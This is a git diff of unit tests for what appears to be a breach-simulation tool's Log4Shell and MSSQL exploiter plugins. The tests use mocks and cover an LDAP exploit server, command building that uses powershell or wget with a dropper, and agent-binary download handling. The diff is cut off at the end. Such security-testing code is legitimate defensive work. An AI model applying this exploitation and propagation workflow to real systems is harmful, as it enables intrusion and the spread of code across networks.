build_exploit_bytecode, ) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_ldap_server.py similarity index 70% rename from monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py rename to monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_ldap_server.py index 78f609e26c6..bf2e15bdd68 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_ldap_server.py @@ -1,20 +1,10 @@ -from multiprocessing import get_context - import pytest +from agent_plugins.exploiters.log4shell.src.ldap_server import EXPLOIT_RDN, LDAPExploitServer from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server -from infection_monkey.exploit.log4shell_utils import LDAPExploitServer -from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN -from infection_monkey.network import TCPPortSelector - - -@pytest.fixture -def tcp_port_selector() -> TCPPortSelector: - context = get_context("spawn") - return TCPPortSelector(context, context.Manager()) - @pytest.mark.slow +@pytest.mark.xdist_group(name="tcp_port_selector") def test_ldap_server(tmp_path, tcp_port_selector): http_ip = "172.10.20.30" http_port = 9999 @@ -40,4 +30,4 @@ def test_ldap_server(tmp_path, tcp_port_selector): assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"] assert attributes.get("javaFactory", None) == ["Exploit"] - ldap_server.stop() + ldap_server.stop(0.01) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_command_builder.py new file mode 100644 index 00000000000..08b6fb7bffe --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_command_builder.py @@ -0,0 +1,43 @@ +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.log4shell.src.log4shell_command_builder import build_log4shell_command + +from common import OperatingSystem +from infection_monkey.exploit import IAgentOTPProvider +from infection_monkey.i_puppet import TargetHost +from infection_monkey.model import DROPPER_ARG +from infection_monkey.utils.ids import get_agent_id + +OTP = "123456" +AGENT_ID = get_agent_id() +SERVERS = ["1.1.1.1", "3.3.3.3", "127.0.0.1"] + + +@pytest.fixture(autouse=True) +def otp_provider() -> IAgentOTPProvider: + provider = MagicMock(spec=IAgentOTPProvider) + provider.get_otp.return_value = OTP + return provider + + +def test_dropper_used(): + target_host = TargetHost(ip="1.1.1.1", operating_system=OperatingSystem.WINDOWS) + command = build_log4shell_command(AGENT_ID, target_host, SERVERS, 2, "http://some_link", OTP) + + assert DROPPER_ARG in command + + +@pytest.mark.parametrize("os", [OperatingSystem.WINDOWS, None]) +def test_windows_command(os): + target_host = TargetHost(ip="1.1.1.1", operating_system=os) + command = build_log4shell_command(AGENT_ID, target_host, SERVERS, 2, "http://some_link", OTP) + + assert "powershell" in command + + +def test_linux_command(): + target_host = TargetHost(ip="1.1.1.1", operating_system=OperatingSystem.LINUX) + command = build_log4shell_command(AGENT_ID, target_host, SERVERS, 2, "http://some_link", OTP) + + assert "wget" in command diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_exploit_client.py new file mode 100644 index 00000000000..aec36d922ba --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_exploit_client.py @@ -0,0 +1,173 @@ +from ipaddress import IPv4Address +from threading import Event +from typing import Callable, Tuple, Type +from unittest.mock import MagicMock +from uuid import UUID + +import pytest +from agent_plugins.exploiters.log4shell.src.log4shell_exploit_client import Log4ShellExploitClient +from agent_plugins.exploiters.log4shell.src.log4shell_options import Log4ShellOptions +from agent_plugins.exploiters.log4shell.src.service_exploiters import IServiceExploiter + +from common import OperatingSystem +from common.agent_events import ExploitationEvent, PropagationEvent +from common.event_queue import IAgentEventPublisher +from common.types import NetworkPort +from infection_monkey.i_puppet import TargetHost + +EXPLOITER_NAME = "Log4Shell" +AGENT_ID = UUID("9614480d-471b-4568-86b5-cb922a34ed8a") + +HTTP_PORT = NetworkPort(1111) +LDAP_PORT = NetworkPort(1113) + + +@pytest.fixture +def mock_agent_event_publisher() -> IAgentEventPublisher: + return MagicMock(spec=IAgentEventPublisher) + + +@pytest.fixture(params=[OperatingSystem.WINDOWS, OperatingSystem.LINUX]) +def target_host(request) -> TargetHost: + return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=request.param) + + +@pytest.fixture +def agent_binary_downloaded() -> Event: + agent_binary_downloaded_event = Event() + agent_binary_downloaded_event.set() + + return agent_binary_downloaded_event + + +@pytest.fixture +def exploit_class_downloaded() -> Event: + exploit_class_downloaded_event = Event() + exploit_class_downloaded_event.set() + + return exploit_class_downloaded_event + + +@pytest.fixture +def mock_service_exploiter() -> IServiceExploiter: + return MagicMock(spec=IServiceExploiter) + + +@pytest.fixture +def log4shell_exploit_client( + monkeypatch, + mock_service_exploiter: IServiceExploiter, + mock_agent_event_publisher: IAgentEventPublisher, +): + monkeypatch.setattr( + "agent_plugins.exploiters.log4shell.src.log4shell_exploit_client.get_log4shell_service_exploiters", # noqa: E501 + lambda: [mock_service_exploiter], + ) + return Log4ShellExploitClient(EXPLOITER_NAME, AGENT_ID, mock_agent_event_publisher) + + +@pytest.fixture +def exploit( + target_host, agent_binary_downloaded, exploit_class_downloaded, log4shell_exploit_client +) -> Callable[[], Tuple[bool, bool]]: + def _inner() -> Tuple[bool, bool]: + return log4shell_exploit_client.exploit( + target_host, + Log4ShellOptions(agent_binary_download_timeout=0.001, exploit_download_timeout=0.001), + LDAP_PORT, + agent_binary_downloaded, + exploit_class_downloaded, + HTTP_PORT, + Event(), + ) + + return _inner + + +def test_exploit__success(exploit: Callable[[], Tuple[bool, bool]]): + exploitation_success, propagation_success = exploit() + + assert exploitation_success + assert propagation_success + + +def test_exploit__failure_if_not_agent_and_class_downloaded( + agent_binary_downloaded: Event, + exploit_class_downloaded: Event, + exploit: Callable[[], Tuple[bool, bool]], +): + exploit_class_downloaded.clear() + agent_binary_downloaded.clear() + + exploitation_success, propagation_success = exploit() + + assert not exploitation_success + assert not propagation_success + + +def test_exploit__failure_on_service_exploiter_exception( + mock_service_exploiter, exploit: Callable[[], Tuple[bool, bool]] +): + mock_service_exploiter.trigger_exploit.side_effect = Exception("test") + exploitation_success, propagation_success = exploit() + + assert not exploitation_success + assert not propagation_success + + +def _assert_published_events(agent_event_publisher: MagicMock, success: bool): + published_events = agent_event_publisher.publish.call_args_list + published_events = [param[0][0] for param in published_events] + + assert ExploitationEvent in [type(event) for event in published_events] + assert PropagationEvent in [type(event) for event in published_events] + assert all([event.success == success for event in published_events]) + + +def test_exploit__sends_events_on_success( + exploit: Callable[[], Tuple[bool, bool]], + mock_agent_event_publisher: MagicMock, +): + exploit() + + _assert_published_events(mock_agent_event_publisher, success=True) + + +def test_exploit__sends_events_on_failure( + agent_binary_downloaded: Event, + exploit_class_downloaded: Event, + exploit: Callable[[], Tuple[bool, bool]], + mock_agent_event_publisher: MagicMock, +): + exploit_class_downloaded.clear() + agent_binary_downloaded.clear() + + exploit() + + published_events = mock_agent_event_publisher.publish.call_args_list + published_events = [param[0][0] for param in published_events] + + assert ExploitationEvent in [type(event) for event in published_events] + assert all([event.success is False for event in published_events]) + + +def get_event_by_type(agent_event_publisher: MagicMock, event_type: Type[Event]): + published_events = agent_event_publisher.publish.call_args_list + published_events = [param[0][0] for param in published_events] + + return next(event for event in published_events if isinstance(event, event_type)) + + +def test_propagation_fails_if_binary_not_downloaded( + agent_binary_downloaded: Event, + exploit: Callable[[], Tuple[bool, bool]], + mock_agent_event_publisher: MagicMock, +): + agent_binary_downloaded.clear() + + exploitation_success, propagation_success = exploit() + propagation_event = get_event_by_type(mock_agent_event_publisher, PropagationEvent) + + assert exploitation_success + assert not propagation_success + assert not propagation_event.success diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_exploiter.py new file mode 100644 index 00000000000..27320118550 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_exploiter.py @@ -0,0 +1,268 @@ +from ipaddress import IPv4Address +from threading import Event +from typing import Callable +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.log4shell.src.ldap_server import LDAPExploitServer +from agent_plugins.exploiters.log4shell.src.log4shell_exploit_client import Log4ShellExploitClient +from agent_plugins.exploiters.log4shell.src.log4shell_exploiter import Log4ShellExploiter +from agent_plugins.exploiters.log4shell.src.log4shell_options import Log4ShellOptions +from agent_plugins.exploiters.log4shell.src.plugin import get_ports_to_try + +from common import OperatingSystem +from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus +from infection_monkey.exploit import IAgentOTPProvider, IHTTPAgentBinaryServerRegistrar +from infection_monkey.exploit.tools import HTTPBytesServer +from infection_monkey.i_puppet import ExploiterResult, PortScanData, TargetHost +from infection_monkey.network import TCPPortSelector +from infection_monkey.utils.ids import get_agent_id + +AGENT_ID = get_agent_id() +TARGET_IP = IPv4Address("1.1.1.1") +SERVERS = ["10.10.10.10"] +DOWNLOAD_URL = "http://download.me" +HTTP_PORT = NetworkPort(12345) +HTTP_PORT_DATA = PortScanData( + port=HTTP_PORT, + status=PortStatus.OPEN, + protocol=NetworkProtocol.TCP, + service=NetworkService.HTTP, +) +CLOSED_PORT = NetworkPort(12346) +CLOSED_PORT_DATA = PortScanData( + port=CLOSED_PORT, + status=PortStatus.CLOSED, + protocol=NetworkProtocol.TCP, + service=NetworkService.HTTP, +) +CLOSED_PORT_80 = NetworkPort(80) +CLOSED_PORT_80_DATA = PortScanData( + port=CLOSED_PORT_80, + status=PortStatus.CLOSED, + protocol=NetworkProtocol.TCP, + service=NetworkService.HTTP, +) +HTTPS_PORT = NetworkPort(12347) +HTTPS_PORT_DATA = PortScanData( + port=HTTPS_PORT, + status=PortStatus.CLOSED, + protocol=NetworkProtocol.TCP, + service=NetworkService.HTTPS, +) +PORTS_TO_TRY = {HTTP_PORT, HTTPS_PORT} + + +@pytest.fixture(params=[OperatingSystem.WINDOWS, OperatingSystem.LINUX]) +def target_host(request) -> TargetHost: + return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=request.param) + + +@pytest.fixture +def mock_bytes_server() -> HTTPBytesServer: + mock_bytes_server = MagicMock(spec=HTTPBytesServer) + mock_bytes_server.download_url = DOWNLOAD_URL + mock_bytes_server.bytes_downloaded = Event() + mock_bytes_server.bytes_downloaded.set() + return mock_bytes_server + + +@pytest.fixture +def mock_ldap_server() -> LDAPExploitServer: + return MagicMock(spec=LDAPExploitServer) + + +@pytest.fixture +def mock_log4shell_exploit_client() -> Log4ShellExploitClient: + mock_log4shell_exploit_client = MagicMock() + mock_log4shell_exploit_client.exploit.return_value = (False, False) + return mock_log4shell_exploit_client + + +@pytest.fixture +def mock_http_agent_binary_server_registrar() -> IHTTPAgentBinaryServerRegistrar: + return MagicMock(spec=IHTTPAgentBinaryServerRegistrar) + + +@pytest.fixture +def mock_otp_provider(): + mock_otp_provider = MagicMock(spec=IAgentOTPProvider) + mock_otp_provider.get_otp.return_value = "123456" + return mock_otp_provider + + +@pytest.fixture(autouse=True) +def mock_port_selector() -> TCPPortSelector: + port_selector = MagicMock() + port_selector.get_free_tcp_port.return_value = NetworkPort(1111) + return port_selector + + +@pytest.fixture +def log4shell_exploiter( + monkeypatch, + mock_log4shell_exploit_client: Log4ShellExploitClient, + mock_port_selector: TCPPortSelector, + mock_http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, + mock_otp_provider: IAgentOTPProvider, + mock_ldap_server: LDAPExploitServer, + mock_bytes_server: HTTPBytesServer, +) -> Log4ShellExploiter: + monkeypatch.setattr( + "agent_plugins.exploiters.log4shell.src.log4shell_exploiter.HTTPBytesServer", + mock_bytes_server, + ) + monkeypatch.setattr( + "agent_plugins.exploiters.log4shell.src.log4shell_exploiter.LDAPExploitServer", + mock_ldap_server, + ) + + mock_exploiter = Log4ShellExploiter( + AGENT_ID, + mock_log4shell_exploit_client, + mock_port_selector, + mock_http_agent_binary_server_registrar, + mock_otp_provider, + ) + + return mock_exploiter + + +@pytest.fixture +def exploit_host( + log4shell_exploiter: Log4ShellExploiter, target_host: TargetHost +) -> Callable[[], ExploiterResult]: + def _inner() -> ExploiterResult: + return log4shell_exploiter.exploit_host( + target_host=target_host, + ports_to_try=PORTS_TO_TRY, + servers=SERVERS, + current_depth=1, + options=Log4ShellOptions(), + interrupt=Event(), + ) + + return _inner + + +def test_exploit_host__succeeds( + exploit_host, + mock_log4shell_exploit_client, + mock_http_agent_binary_server_registrar, +): + mock_log4shell_exploit_client.exploit.return_value = (True, True) + result = exploit_host() + + assert mock_http_agent_binary_server_registrar.reserve_download.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called + assert result.exploitation_success + assert result.propagation_success + + +def test_exploit_host__fails_if_agent_binary_reservation_fails( + exploit_host, mock_http_agent_binary_server_registrar +): + mock_http_agent_binary_server_registrar.reserve_download.side_effect = Exception() + result = exploit_host() + + assert not mock_http_agent_binary_server_registrar.clear_reservation.called + assert not result.exploitation_success + assert not result.propagation_success + + +def test_exploit_host__fails_if_ldap_server_fails_to_start(target_host, log4shell_exploiter): + log4shell_exploiter._start_ldap_server = lambda: Exception() + + result = log4shell_exploiter.exploit_host( + target_host=target_host, + ports_to_try=PORTS_TO_TRY, + servers=SERVERS, + current_depth=1, + options=Log4ShellOptions(), + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_exploit_host__success_returned_if_clear_reservation_fails( + exploit_host, mock_log4shell_exploit_client, mock_http_agent_binary_server_registrar +): + mock_log4shell_exploit_client.exploit.return_value = (True, True) + mock_http_agent_binary_server_registrar.clear_reservation.side_effect = Exception() + + result = exploit_host() + + assert mock_http_agent_binary_server_registrar.clear_reservation.called + assert result.exploitation_success + assert result.propagation_success + + +def test_exploit_host__success_returned_on_ldap_server_stop_fail( + exploit_host, + mock_log4shell_exploit_client, + mock_ldap_server, +): + mock_log4shell_exploit_client.exploit.return_value = (True, True) + mock_ldap_server.stop.side_effect = Exception() + + result = exploit_host() + + # assert mock_ldap_server.stop.called # TODO: Why does this assert fail? + assert result.exploitation_success + assert result.propagation_success + + +def test_exploit_host__fails_when_no_target_ports( + log4shell_exploiter: Log4ShellExploiter, target_host: TargetHost +): + options = Log4ShellOptions(target_ports=[]) + + result = log4shell_exploiter.exploit_host( + target_host=target_host, + ports_to_try=get_ports_to_try( + host=target_host, target_ports=options.target_ports, try_all_discovered_http_ports=False + ), + servers=SERVERS, + current_depth=1, + options=options, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_exploit_host__fails_on_log4shell_exception( + mock_log4shell_exploit_client, exploit_host, mock_http_agent_binary_server_registrar +): + mock_log4shell_exploit_client.exploit.side_effect = Exception() + result = exploit_host() + + assert mock_http_agent_binary_server_registrar.clear_reservation.called + assert not result.exploitation_success + assert not result.propagation_success + + +def test_exploit_attempt_skipped_on_interrupt( + log4shell_exploiter: Log4ShellExploiter, + mock_log4shell_exploit_client: Log4ShellExploitClient, + target_host: TargetHost, +): + options = Log4ShellOptions(target_ports=[80, 443, 8080, 8000]) + + interrupt = Event() + interrupt.set() + log4shell_exploiter.exploit_host( + target_host=target_host, + ports_to_try=get_ports_to_try( + host=target_host, target_ports=options.target_ports, try_all_discovered_http_ports=True + ), + servers=SERVERS, + current_depth=1, + options=options, + interrupt=interrupt, + ) + + assert mock_log4shell_exploit_client.exploit.call_count == 0 # type: ignore [attr-defined] diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_options.py new file mode 100644 index 00000000000..1e24654732d --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_options.py @@ -0,0 +1,56 @@ +import pydantic +import pytest +from agent_plugins.exploiters.log4shell.src.log4shell_options import Log4ShellOptions + +LOG4SHELL_OPTIONS_DICT = { + "target_ports": [1234], + "try_all_discovered_http_ports": True, + "exploit_download_timeout": 10.0, + "agent_binary_download_timeout": 60.0, +} +LOG4SHELL_OPTIONS_OBJECT = Log4ShellOptions( + target_ports=[1234], + try_all_discovered_http_ports=True, + exploit_download_timeout=10.0, + agent_binary_download_timeout=60.0, +) + +TARGET_PORTS_EXCEPTION = {"target_ports": [-1, 70000]} +EXPLOIT_DOWNLOAD_TIMEOUT_EXCEPTION = {"exploit_download_timeout": 0} +AGENT_DOWNLOAD_TIMEOUT_EXCEPTION = {"agent_binary_download_timeout": -100} + + +def test_log4shell_options__serialization(): + assert LOG4SHELL_OPTIONS_OBJECT.dict(simplify=True) == LOG4SHELL_OPTIONS_DICT + + +def test_log4shell_options__full_serialization(): + assert ( + Log4ShellOptions(**LOG4SHELL_OPTIONS_OBJECT.dict(simplify=True)) == LOG4SHELL_OPTIONS_OBJECT + ) + + +def test_hadoop_options__deserialization(): + assert Log4ShellOptions(**LOG4SHELL_OPTIONS_DICT) == LOG4SHELL_OPTIONS_OBJECT + + +def test_log4shell_options__default(): + log4shell_options = Log4ShellOptions() + + assert log4shell_options.target_ports == [8000, 8080, 8983, 9600] + assert log4shell_options.try_all_discovered_http_ports is False + assert log4shell_options.exploit_download_timeout == 5.0 + assert log4shell_options.agent_binary_download_timeout == 15.0 + + +@pytest.mark.parametrize( + "options_dict", + [ + TARGET_PORTS_EXCEPTION, + EXPLOIT_DOWNLOAD_TIMEOUT_EXCEPTION, + AGENT_DOWNLOAD_TIMEOUT_EXCEPTION, + ], +) +def test_log4shell_options_constrains(options_dict): + with pytest.raises((pydantic.errors.NumberNotGeError, pydantic.errors.NumberNotGtError)): + Log4ShellOptions(**options_dict) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_plugin.py new file mode 100644 index 00000000000..5f09d20f5a3 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/log4shell/test_log4shell_plugin.py @@ -0,0 +1,157 @@ +from ipaddress import IPv4Address +from threading import Event +from unittest.mock import MagicMock +from uuid import UUID + +import pytest +from agent_plugins.exploiters.log4shell.src.log4shell_exploiter import Log4ShellExploiter +from agent_plugins.exploiters.log4shell.src.plugin import Plugin, get_ports_to_try + +from common import OperatingSystem +from common.types import NetworkPort, NetworkService, PortStatus +from infection_monkey.i_puppet import ( + ExploiterResult, + PortScanData, + PortScanDataDict, + TargetHost, + TargetHostPorts, +) + +AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") +BAD_HADOOP_OPTIONS_DICT = {"blah": "blah"} +TARGET_IP = IPv4Address("1.1.1.1") +OPEN_HTTP_PORT = NetworkPort(5000) +CLOSED_PORT = NetworkPort(5001) +TARGET_HOST_PORTS = TargetHostPorts( + tcp_ports=PortScanDataDict( + { + OPEN_HTTP_PORT: PortScanData( + port=OPEN_HTTP_PORT, status=PortStatus.OPEN, service=NetworkService.HTTP + ), + CLOSED_PORT: PortScanData(port=CLOSED_PORT, status=PortStatus.CLOSED), + } + ) +) +TARGET_HOST = TargetHost( + ip=TARGET_IP, operating_system=OperatingSystem.WINDOWS, ports_status=TARGET_HOST_PORTS +) +SERVERS = ["10.10.10.10"] +EXPLOITER_TARGET_PORTS = [NetworkPort(80), NetworkPort(443), NetworkPort(8080), NetworkPort(8000)] +EXPLOITER_RESULT = ExploiterResult(True, False, error_message="Test error") + + +class MockLog4ShellExploiter(Log4ShellExploiter): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + def exploit_host(self, *args, **kwargs) -> ExploiterResult: + return EXPLOITER_RESULT + + +class ErrorRaisingMockLog4ShellExploiter(Log4ShellExploiter): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + def exploit_host(self, *args, **kwargs) -> ExploiterResult: + raise Exception("Test error") + + +@pytest.fixture +def plugin(monkeypatch) -> Plugin: + monkeypatch.setattr( + "agent_plugins.exploiters.log4shell.src.plugin.Log4ShellExploiter", + MockLog4ShellExploiter, + ) + + return Plugin( + plugin_name="Log4Shell", + agent_id=AGENT_ID, + agent_event_publisher=MagicMock(), + agent_binary_repository=MagicMock(), + http_agent_binary_server_registrar=MagicMock(), + tcp_port_selector=MagicMock(), + otp_provider=MagicMock(), + ) + + +def test_run__fails_on_bad_options(plugin: Plugin): + result = plugin.run( + host=TARGET_HOST, + servers=SERVERS, + current_depth=1, + options=BAD_HADOOP_OPTIONS_DICT, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_run__returns_exploiter_result(plugin: Plugin): + result = plugin.run( + host=TARGET_HOST, + servers=SERVERS, + current_depth=1, + options={"target_ports": [OPEN_HTTP_PORT]}, + interrupt=Event(), + ) + + assert result == EXPLOITER_RESULT + + +def test_run__exploit_host_raises_exception(monkeypatch, plugin: Plugin): + monkeypatch.setattr( + "agent_plugins.exploiters.log4shell.src.plugin.Log4ShellExploiter", + ErrorRaisingMockLog4ShellExploiter, + ) + + plugin = Plugin( + plugin_name="Log4Shell", + agent_id=AGENT_ID, + agent_event_publisher=MagicMock(), + agent_binary_repository=MagicMock(), + http_agent_binary_server_registrar=MagicMock(), + tcp_port_selector=MagicMock(), + otp_provider=MagicMock(), + ) + result = plugin.run( + host=TARGET_HOST, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_get_ports_to_try__unknown_port_status(): + ports_to_try = get_ports_to_try( + host=TARGET_HOST, target_ports=EXPLOITER_TARGET_PORTS, try_all_discovered_http_ports=False + ) + + assert len(ports_to_try) == 4 + assert all([port in ports_to_try for port in EXPLOITER_TARGET_PORTS]) + + +def test_get_ports_to_try__try_all_discovered_http_ports(): + ports_to_try = get_ports_to_try( + host=TARGET_HOST, target_ports=EXPLOITER_TARGET_PORTS, try_all_discovered_http_ports=True + ) + + assert len(ports_to_try) == 5 + assert all([port in ports_to_try for port in EXPLOITER_TARGET_PORTS]) + assert OPEN_HTTP_PORT in ports_to_try + + +def test_get_ports_to_try__do_not_try_configured_port_if_closed(): + target_ports = EXPLOITER_TARGET_PORTS + [CLOSED_PORT] + + ports_to_try = get_ports_to_try( + host=TARGET_HOST, target_ports=target_ports, try_all_discovered_http_ports=False + ) + + assert len(ports_to_try) == 4 + assert all([port in ports_to_try for port in EXPLOITER_TARGET_PORTS]) + assert CLOSED_PORT not in ports_to_try diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_exploiter.py index b1fd9d3d5ea..abbb340229a 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_exploiter.py @@ -12,9 +12,14 @@ from common import OperatingSystem from common.credentials import Credentials from common.types import AgentID -from infection_monkey.exploit import IAgentOTPProvider +from infection_monkey.exploit import ( + AgentBinaryDownloadTicket, + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, + ReservationID, +) from infection_monkey.exploit.tools import HTTPBytesServer -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost TARGET_IP = IPv4Address("1.1.1.1") DOWNLOAD_URL = "http://download.me" @@ -50,8 +55,18 @@ def mock_mssql_exploit_client() -> MSSQLExploitClient: @pytest.fixture -def mock_start_agent_binary_server(mock_bytes_server) -> HTTPBytesServer: - return MagicMock(return_value=mock_bytes_server) +def mock_http_agent_binary_server_registrar() -> IHTTPAgentBinaryServerRegistrar: + http_agent_binary_server_registrar = MagicMock() + download_completed = Event() + download_completed.set() + + agent_binary_request = AgentBinaryDownloadTicket( + id=ReservationID("8f53f4fb-2d33-465a-aa9c-de704a7e42b3"), + download_url=DOWNLOAD_URL, + download_completed=download_completed, + ) + http_agent_binary_server_registrar.reserve_download.return_value = agent_binary_request + return http_agent_binary_server_registrar @pytest.fixture @@ -64,13 +79,13 @@ def mock_otp_provider(): @pytest.fixture def mssql_exploiter( mock_mssql_exploit_client: MSSQLExploitClient, - mock_start_agent_binary_server: Callable[[TargetHost], HTTPBytesServer], + mock_http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, mock_otp_provider: IAgentOTPProvider, ) -> MSSQLExploiter: return MSSQLExploiter( AGENT_ID, mock_mssql_exploit_client, - mock_start_agent_binary_server, + mock_http_agent_binary_server_registrar, mock_otp_provider, ) @@ -78,8 +93,8 @@ def mssql_exploiter( @pytest.fixture def exploit_host( mssql_exploiter: MSSQLExploiter, target_host: TargetHost -) -> Callable[[], ExploiterResultData]: - def _inner() -> ExploiterResultData: +) -> Callable[[], ExploiterResult]: + def _inner() -> ExploiterResult: return mssql_exploiter.exploit_host( target_host=target_host, servers=SERVERS, @@ -93,46 +108,48 @@ def _inner() -> ExploiterResultData: return _inner -def test_exploit_host__succeeds(exploit_host, mock_mssql_exploit_client, mock_bytes_server): +def test_exploit_host__succeeds( + exploit_host, mock_mssql_exploit_client, mock_http_agent_binary_server_registrar +): mock_mssql_exploit_client.exploit_host.return_value = (True, True) result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called assert result.exploitation_success assert result.propagation_success def test_exploit_host__fails_if_server_fails_to_start( - exploit_host, mock_start_agent_binary_server, mock_bytes_server + exploit_host, mock_http_agent_binary_server_registrar ): - mock_start_agent_binary_server.side_effect = Exception() + mock_http_agent_binary_server_registrar.reserve_download.side_effect = Exception() result = exploit_host() - assert not mock_bytes_server.stop.called + assert not mock_http_agent_binary_server_registrar.clear_reservation.called assert not result.exploitation_success assert not result.propagation_success def test_exploit_host__success_returned_on_server_stop_fail( - exploit_host, mock_mssql_exploit_client, mock_bytes_server + exploit_host, mock_mssql_exploit_client, mock_http_agent_binary_server_registrar ): mock_mssql_exploit_client.exploit_host.return_value = (True, True) - mock_bytes_server.stop.side_effect = Exception() + mock_http_agent_binary_server_registrar.clear_reservation.side_effect = Exception() result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called assert result.exploitation_success assert result.propagation_success def test_exploit_host__fails_on_mssql_exception( - mock_mssql_exploit_client, exploit_host, mock_bytes_server + mock_mssql_exploit_client, exploit_host, mock_http_agent_binary_server_registrar ): mock_mssql_exploit_client.exploit_host.side_effect = Exception() result = exploit_host() - assert mock_bytes_server.stop.called + assert mock_http_agent_binary_server_registrar.clear_reservation.called assert not result.exploitation_success assert not result.propagation_success diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_plugin.py index cd3194308f8..9392d81e3e0 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_plugin.py @@ -4,12 +4,13 @@ from uuid import UUID import pytest +from agent_plugins.exploiters.mssql.src.mssql_exploiter import MSSQLExploiter from agent_plugins.exploiters.mssql.src.plugin import Plugin from common import OperatingSystem from common.types import NetworkPort, NetworkService, PortStatus from infection_monkey.i_puppet import ( - ExploiterResultData, + ExploiterResult, PortScanData, PortScanDataDict, TargetHost, @@ -35,7 +36,7 @@ ) EMPTY_TARGET_HOST_PORTS = TargetHostPorts() SERVERS = ["10.10.10.10"] -EXPLOITER_RESULT_DATA = ExploiterResultData(True, False, error_message="Test error") +EXPLOITER_RESULT = ExploiterResult(True, False, error_message="Test error") @pytest.fixture @@ -52,18 +53,18 @@ def propagation_credentials_repository(): return MagicMock(spec=IPropagationCredentialsRepository) -class ErrorRaisingMockMSSQLExploiter: +class ErrorRaisingMockMSSQLExploiter(MSSQLExploiter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - def exploit_host(self, *args, **kwargs) -> ExploiterResultData: + def exploit_host(self, *args, **kwargs) -> ExploiterResult: raise Exception("Test error") @pytest.fixture def mock_mssql_exploiter(): exploiter = MagicMock() - exploiter.exploit_host.return_value = EXPLOITER_RESULT_DATA + exploiter.exploit_host.return_value = EXPLOITER_RESULT return exploiter @@ -81,6 +82,7 @@ def plugin( return Plugin( plugin_name="MSSQL", agent_id=AGENT_ID, + http_agent_binary_server_registrar=MagicMock(), agent_event_publisher=MagicMock(), agent_binary_repository=MagicMock(), propagation_credentials_repository=propagation_credentials_repository, @@ -131,7 +133,7 @@ def test_run__attempts_exploit_if_port_status_unknown( ) mock_mssql_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT @pytest.mark.parametrize( @@ -190,7 +192,7 @@ def test_run__attempts_exploit_if_port_status_open( ) mock_mssql_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT def test_run__skips_exploit_if_port_status_closed( @@ -252,10 +254,10 @@ def test_run__if_discovered_mssql_unknown_ports( ) mock_mssql_exploiter.exploit_host.assert_called_once() - assert result == EXPLOITER_RESULT_DATA + assert result == EXPLOITER_RESULT -def test_run__returns_exploiter_result_data(plugin: Plugin, target_host: TargetHost): +def test_run__returns_exploiter_result(plugin: 